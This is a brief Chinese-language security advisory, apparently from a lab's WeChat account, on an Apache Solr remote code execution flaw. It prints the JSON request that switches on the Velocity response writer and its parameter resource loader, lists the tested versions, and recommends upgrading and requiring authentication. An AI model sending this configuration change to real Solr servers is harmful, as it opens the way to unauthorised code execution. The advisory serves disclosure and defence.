漏洞预警：Apache Solr 远程代码执行漏洞

00x01 漏洞背景

修改core

    {

      "update-queryresponsewriter": {

        "startup": "lazy",

        "name": "velocity",

        "class": "solr.VelocityResponseWriter",

        "template.base.dir": "",

        "solr.resource.loader.enabled": "true",

        "params.resource.loader.enabled": "true"

      }

    }

已测7.0.1，7.7.2，8.1.1

1、升级Solr版本；

2、对Solr后台进行身份认证，禁止未授权访问。

手握日月摘星辰，安全路上永不止步。

                                                      - Khan攻防安全实验室

本文始发于微信公众号（Khan安全攻防实验室）：漏洞预警：Apache Solr 远程代码执行漏洞